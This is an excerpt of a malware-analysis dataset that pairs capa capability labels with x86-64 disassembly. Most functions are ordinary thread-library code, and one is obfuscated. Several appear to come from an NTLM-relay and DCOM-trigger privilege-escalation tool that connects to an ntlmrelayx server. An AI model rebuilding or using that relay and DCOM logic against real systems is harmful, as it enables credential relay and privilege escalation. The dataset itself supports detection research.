joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ea40
Capabilities:
Get thread local storage value
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140012428]
mov rbx, rcx
mov rcx, rdi
mov esi, edx
call sym.pthread_mutex_lock
mov rcx, rbx
call sym.__pthread_get_pointer
test rax, rax
je 0x14000eab8
cmp qword [rax + 0x1d8], rbx
jne 0x14000eab8
test byte [rax + 0x40], 0xc
jne 0x14000eab8
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x14000eab8
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x14000eab8
mov rcx, rdi
call sym.pthread_mutex_unlock
test esi, esi
je 0x14000ead0
lea edx, [rsi - 2]
cmp edx, 0x15
ja 0x14000ead8
mov rcx, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp sym.pthread_cancel
mov rcx, rdi
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor eax, eax
jmp 0x14000eac5
mov eax, 0x16
jmp 0x14000eac5

Function at 0x14000ec70
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
mov rdi, rdx
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x140012438]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14000ece0
cmp esi, 1
ja 0x14000eced
lea rbp, [rbx + 0x38]
mov rcx, rbp
call sym.pthread_mutex_lock
test rdi, rdi
je 0x14000ecb4
mov eax, dword [rbx + 0x44]
and eax, 1
mov dword [rdi], eax
mov eax, dword [rbx + 0x44]
mov rcx, qword [rbx + 0x1d8]
and eax, 0xfffffffe
or eax, esi
mov dword [rbx + 0x44], eax
call sym.test_cancel_locked
mov rcx, rbp
call sym.pthread_mutex_unlock
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.__pthread_self_lite.part.0
mov rbx, rax
test rax, rax
jne 0x14000ec96
mov eax, 0x16
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x14000ed00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov esi, ecx
mov rdi, rdx
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x140012438]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14000ed78
mov ebp, esi
and ebp, 0xfffffffd
jne 0x14000ed85
lea r12, [rbx + 0x38]
mov rcx, r12
call sym.pthread_mutex_lock
test rdi, rdi
je 0x14000ed48
mov eax, dword [rbx + 0x44]
and eax, 2
mov dword [rdi], eax
mov eax, dword [rbx + 0x44]
mov rcx, qword [rbx + 0x1d8]
and eax, 0xfffffffd
or eax, esi
mov dword [rbx + 0x44], eax
call sym.test_cancel_locked
mov rcx, r12
call sym.pthread_mutex_unlock
mov eax, ebp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call sym.__pthread_self_lite.part.0
mov rbx, rax
test rax, rax
jne 0x14000ed28
mov ebp, 0x16
mov eax, ebp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14000f030
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rbp, rdx
test rcx, rcx
je 0x14000f150
lea rdi, [0x140012428]
mov rcx, rdi
call sym.pthread_mutex_lock
mov rcx, rsi
call sym.__pthread_get_pointer
mov rcx, rdi
mov rbx, rax
call sym.pthread_mutex_unlock
test rbx, rbx
je 0x14000f150
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x14000f150
lea rdx, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x14000f150
test byte [rbx + 0x44], 4
jne 0x14000f160
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x140012438]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14000f180
cmp rsi, qword [rax + 0x1d8]
je 0x14000f1a8
mov eax, dword [rbx + 0xbc]
mov rcx, qword [rbx + 0x28]
test eax, eax
je 0x14000f0db
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000f0ea
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x28]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14000f0fe
call rsi
mov qword [rbx + 0x30], 0
lea rcx, [rbx + 0x38]
test rbp, rbp
je 0x14000f198
mov rax, qword [rbx + 8]
mov qword [rbp], rax
call sym.pthread_mutex_destroy
lea rcx, [rbx + 0x68]
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14000f1af
cmp qword [rbx + 0x1d0], 0
mov qword [rbx + 0x68], 0xffffffffffffffff
je 0x14000f170
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov eax, 3
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov eax, 0x16
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbx
call sym.push_pthread_mem.part.0
xor eax, eax
jmp 0x14000f146
call sym.__pthread_self_lite.part.0
test rax, rax
jne 0x14000f0b6
jmp 0x14000f0c3
call sym.pthread_mutex_destroy
jmp 0x14000f120
mov eax, 0x24
jmp 0x14000f155
call sym.replace_spin_keys.part.0
nop
nop word cs:[rax + rax]
Function at 0x14000f1c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [0x140012428]
mov rsi, rcx
mov rcx, rbp
mov rdi, rdx
call sym.pthread_mutex_lock
mov rcx, rsi
call sym.__pthread_get_pointer
mov rbx, rax
test rax, rax
je 0x14000f2e0
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x14000f2e0
lea rdx, [rsp + 0x2c]
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x14000f2e0
test byte [rbx + 0x44], 4
jne 0x14000f300
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x140012438]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14000f340
mov rdx, qword [rax + 0x1d8]
cmp rsi, rdx
je 0x14000f378
mov edx, dword [rbx + 0xbc]
mov rcx, qword [rbx + 0x28]
test edx, edx
jne 0x14000f267
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000f320
mov rcx, qword [rbx + 0x28]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14000f27b
call rsi
mov qword [rbx + 0x30], 0
lea rcx, [rbx + 0x38]
test rdi, rdi
je 0x14000f358
mov rax, qword [rbx + 8]
mov qword [rdi], rax
call sym.pthread_mutex_destroy
lea rcx, [rbx + 0x68]
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14000f38a
cmp qword [rbx + 0x1d0], 0
mov qword [rbx + 0x68], 0xffffffffffffffff
je 0x14000f368
mov rcx, rbp
call sym.pthread_mutex_unlock
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbp
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbp
call sym.pthread_mutex_unlock
mov eax, 0x16
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov eax, dword [rbx + 0xbc]
test eax, eax
jne 0x14000f263
mov rcx, rbp
call sym.pthread_mutex_unlock
mov eax, 0x10
jmp 0x14000f2ce
call sym.__pthread_self_lite.part.0
xor edx, edx
test rax, rax
jne 0x14000f235
jmp 0x14000f23c
call sym.pthread_mutex_destroy
jmp 0x14000f29c
mov rcx, rbx
call sym.push_pthread_mem.part.0
jmp 0x14000f2c4
mov rcx, rbp
call sym.pthread_mutex_unlock
mov eax, 0x24
jmp 0x14000f2ce
call sym.replace_spin_keys.part.0
nop
Function at 0x1402966ef
Capabilities:
Hash data using murmur3

Disassembly:
jmp 0x140292541
jmp 0x140298ab4
push 0xffffffffc831e644
jmp 0x14029ec5b
je 0x140291475
push 0xffffffffc831e644
jmp 0x14029ec5b
jmp 0x1402917ee
push 0xffffffffd3505b02
jmp 0x1402966c6
mov bp, di
jmp 0x14029e6a8
clc
bt esp, 0x14
stc
add rdx, r13
jmp rdx
push rbp
mov ebp, 0xdfcebda5
movsx ebp, bl
movzx ebp, cl
push rdi
jmp 0x14029b65d
bsr ebp, ecx
adc bp, 0xaea8
bsf bp, di
xor bp, sp
add esi, 0x63d0adc8
ror bp, cl
ror esi, 0x19
movzx rbp, dl
adc bp, 0x24df
xor bp, sp
bsf bp, ax
mov rbp, rsp
cmp dl, 0x46
sub rsp, 0x140
jmp 0x14029f1a1
cmc
cmc
jmp 0x14029f32c
stc
test edx, 0x52817c7e
neg rdx
cmc
add rdx, r13
jmp rdx
xadd di, r12w
bts r12, rdi
cmp dx, ax
movsx di, al
mov rdi, rsp
cmc
jmp 0x14029efac
bt ebp, 0xa
test dx, 0x25d9
clc
add rdx, r13
jmp rdx
inc dl
shrd dx, bp, cl
sub al, 0x20
inc dl
ror dh, 1
neg al
clc
lea rdx, [rcx + 0x7d00653d]
sar dx, cl
sbb dl, 3
add bl, al
movsx dx, cl
rcl dh, 1
cmc
stc
add rsi, 1
clc
movzx rax, al
btr dx, 1
mov rdx, qword [r12 + rax*8]
jmp 0x14029f682
not bp
bswap bp
push r10
lea rbp, [rcx*2 - 0x4de604da]
pushfq
add rbp, rbp
dec ebp
test dx, si
shld ebp, edx, cl
push rdx
sub bp, 0xf141
bts bp, cx
push rbx
test edi, 0xbc88377a
and ebp, edi
dec bp
push r14
sub rbp, 0x54736ec2
cmp al, cl
sub bp, si
stc
push rsi
dec bp
push r15
movzx bp, bl
sbb bp, sp
push r13
add r13d, eax
movsx rbp, al
push rsi
sal si, cl
bswap r13w
test esp, esi
push rax
shr r13w, cl
shld bp, di, 0xb
mov r13w, 0xc6e0
push qword [0x14029f773]
bsr ax, bx
movabs rax, 0
ror si, 9
bts ebp, 0x17
btr r13w, 6
bt edi, 2
mov r13, rax
movsx esi, bl
btr si, 9
rol bp, 0xd
dec bp
push rax
bswap si
lea rbp, [rax - 0x67547558]
bsf si, bx
mov esi, dword [rsp + 0xa0]
bts ebp, edi
sar ebp, cl
cmc
bts rbp, 0x3f
not esi
rcl rbp, 0xa
jnp 0x14029cb44
sal bp, 8
add esi, 0x63d0adc8
bswap bp
stc
bts bp, sp
ror esi, 0x19
dec ebp
and bp, 0x2e4b
bsr bp, dx
mov rbp, rsp
jmp 0x14029ce81
push r11
movsx rbp, cl
movsx bp, bl
mov bp, si
push r9
jmp 0x14029e7c1
not bp
mov bp, si
bswap bp
push r8
jmp 0x14029e39b
jmp 0x14029f2fd
jmp 0x14029f0a9
lea r12, [0x14029b707]
or bx, 0xd67c
bts ax, dx
movzx bx, al
cmp dh, cl
movabs rax, 0x100000000
clc
bsf edx, esp
shld dx, bp, 1
add rsi, rax
movzx bx, cl
shl dh, 1
bsr rbx, rax
cmp ah, 0x96
mov rbx, rsi
rcr dh, cl
bsf dx, bx
clc
ror dl, cl
add rsi, qword [rbp]
add al, 0x2f
mov al, byte [rsi]
shr dx, cl
rol dx, 2
mov dh, dh
add al, bl
setl dl
xor al, 0x52
jno 0x14029e18a
rol edx, 0xf
shl rdx, cl
sub al, 0x20
sub dx, si
neg al
cmc
not edx
stc
neg edx
add bl, al
sbb edx, esp
add rsi, 1
inc dx
seta dh
lea rdx, [rbx*2 + 0x17879553]
cmc
movzx rax, al
rcl rdx, 8
sal dl, 6
mov rdx, qword [r12 + rax*8]
jo 0x14029cfe6
cmp bh, 0x9a
bt cx, bp
test cl, 0xf7
neg rdx
jmp 0x14029dc03
push r12
jmp 0x14029c93a
cmc
cmc
and rsp, 0xfffffffffffffff0
jmp 0x14029d625
push rcx
jmp 0x14029ee4d
sub rsp, 0x140
bt esp, eax
stc
stc
and rsp, 0xfffffffffffffff0
jmp 0x14029d625
cmp ah, ch
neg rdx
jmp 0x14029c515
Function at 0x1400110c8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
jmp 0x140012290
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x478]
mov rax, qword [0x140030058]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
lea rdx, [rbp + 0x90]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0
je 0x14001231a
mov edx, dword [rbp + 0x244]
lea rcx, str.WSAStartup_function_failed_with_error:__d_n
call fcn.140011046
mov eax, 1
jmp 0x14001248a
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0xffffffffffffffff
jne 0x140012365
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_function_failed_with_error:__ld_n
call fcn.140011046
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14001248a
mov r8d, listen
xor edx, edx
lea rcx, [rbp + 0x38]
call fcn.14001164a
mov r8d, listen
mov rdx, qword [rbp + 0x458]
lea rcx, [rbp + 0x38]
call qword [sym.imp.ucrtbased.dll_wcstombs]
mov r8d, socket
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14001164a
mov r8d, socket
mov rdx, qword [rbp + 0x450]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_wcstombs]
lea rcx, [rbp + 0x38]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
mov eax, 2
mov word [rbp + 0x288], ax
lea rcx, [rbp + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x28c], eax
movzx ecx, word [rbp + 0x64]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x28a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x288]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x140012469
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.CreateHTTPSocket:_connect_function_failed_with_error:__ld_n
call fcn.140011046
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x14001245c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.closesocket_function_failed_with_error:__ld_n
call fcn.140011046
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14001248a
mov r8, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x450]
lea rcx, str.___Connected_to_ntlmrelayx_HTTP_Server__S_on_port__S_n
call fcn.1400113ac
mov rax, qword [rbp + 0x268]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.1400116f9
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400113d4
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x1400110dc
Capabilities:
Encode data using base64 via winapi
Terminate process

Disassembly:
jmp 0x1400133a0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
mov rax, qword [rbp + 0x110]
mov dword [rax], 0x2000
mov rax, qword [rbp + 0x110]
movsxd rax, dword [rax]
mov qword [rbp + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 8]
mov r8d, 0x40000001
mov edx, dword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x140013471
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CryptBinaryToStringA_failed_with_error_code__d
call fcn.1400113ac
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 8], 0
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov rax, qword [rbp + 8]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001144c
Capabilities:
Decode data using base64 via winapi
Terminate process

Disassembly:
jmp 0x140013270
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x40]
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
mov rax, qword [rbp + 0x110]
mov dword [rax], 0x2000
mov rax, qword [rbp + 0x110]
movsxd rax, dword [rax]
mov qword [rbp + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 8], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, dword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140013353
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CryptStringToBinaryA_failed_with_error_code__d
call fcn.1400113ac
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 8], 0
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov rax, qword [rbp + 8]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011492
Capabilities:
Terminate process

Disassembly:
jmp 0x14001cc80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400114ba
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
jmp 0x140015e50
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x478]
mov rax, qword [0x140030058]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
lea rdx, [rbp + 0x90]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0
je 0x140015eda
mov edx, dword [rbp + 0x244]
lea rcx, str.WSAStartup_function_failed_with_error:__d_n
call fcn.140011046
mov eax, 1
jmp 0x140016064
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0xffffffffffffffff
jne 0x140015f25
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_function_failed_with_error:__ld_n
call fcn.140011046
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140016064
mov r8d, listen
xor edx, edx
lea rcx, [rbp + 0x38]
call fcn.14001164a
mov r8d, listen
mov rdx, qword [rbp + 0x458]
lea rcx, [rbp + 0x38]
call qword [sym.imp.ucrtbased.dll_wcstombs]
mov r8d, socket
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14001164a
mov r8d, socket
mov rdx, qword [rbp + 0x450]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_wcstombs]
lea rcx, [rbp + 0x38]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x64], eax
mov eax, 2
mov word [rbp + 0x288], ax
lea rcx, [rbp + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x28c], eax
movzx ecx, word [rbp + 0x64]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x28a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x288]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x140016043
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.CreateRPCSocketReflect:_connect_function_failed_with_error:__ld_n
call fcn.140011046
mov r8, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x450]
lea rcx, str.Couldnt_connect_to_RPC_Server__S_on_port__S_n
call fcn.1400113ac
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x140016036
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.closesocket_function_failed_with_error:__ld_n
call fcn.140011046
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140016064
mov r8, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x450]
lea rcx, str.___Connected_to_RPC_Server__S_on_port__S_n
call fcn.1400113ac
mov rax, qword [rbp + 0x268]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.1400116f9
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400113d4
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140011578
Capabilities:
Get geographical location

Disassembly:
jmp 0x140020810
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14002084d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14001184d
add rsp, 0x58
ret
Function at 0x1400115af
Capabilities:
Terminate process

Disassembly:
jmp 0x140018730
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [0x140030058]
xor rax, rbp
mov qword [rbp + 0x230], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011861
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea r8, [rbp + 0x28]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
mov dword [rbp + 0x44], eax
lea r9, [rbp + 8]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
mov dword [rbp + 0x44], eax
mov ecx, 0x20
call fcn.14001105a
mov qword [rbp + 0x218], rax
cmp qword [rbp + 0x218], 0
je 0x140018803
mov edx, 0x20
mov rcx, qword [rbp + 0x218]
call fcn.1400113d9
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x218]
call fcn.14001127b
mov qword [rbp + 0x228], rax
jmp 0x14001880e
mov qword [rbp + 0x228], 0
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0xb8]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov eax, 0x18
imul rax, rax, 0
lea rcx, [rbp + 0xb8]
mov qword [rbp + rax + 0xe8], rcx
mov eax, 0x18
imul rax, rax, 0
mov qword [rbp + rax + 0xf0], 0
mov eax, 0x18
imul rax, rax, 0
mov dword [rbp + rax + 0xf8], 0
mov rdx, qword [rbp + 0x260]
lea rcx, str.___Calling_CoGetInstanceFromIStorage_with_CLSID:_S_n
call fcn.1400113ac
cmp qword [rbp + 0x68], 0
je 0x1400188bb
mov rax, qword [rbp + 0x68]
add rax, 8
mov qword [rbp + 0x228], rax
jmp 0x1400188c6
mov qword [rbp + 0x228], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x88]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rbp + 0x114], eax
cmp dword [0x14003061c], 0
jne 0x14001894b
cmp dword [rbp + 0x114], 0x80080004
jne 0x14001892e
mov rdx, qword [rbp + 0x260]
lea rcx, str.____Error._CLSID__S_not_found._Bad_path_to_object._n
call fcn.1400113ac
jmp 0x140018940
mov edx, dword [rbp + 0x114]
lea rcx, str.____Error._Trigger_DCOM_failed_with_status:_0x_x_n
call fcn.1400113ac
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp - 0x40]
lea rdx, [0x1400280d0]
call fcn.1400116f9
mov rcx, qword [rbp + 0x230]
xor rcx, rbp
call fcn.1400113d4
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x1400115cd
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001f110
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001f130
xor al, al
jmp 0x14001f1b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001f143
xor al, al
jmp 0x14001f1b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001f16d
xor al, al
jmp 0x14001f1b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001f181
xor al, al
jmp 0x14001f1b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001f193
xor al, al
jmp 0x14001f1b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001f1af
xor al, al
jmp 0x14001f1b1
mov al, 1
add rsp, 0x38
ret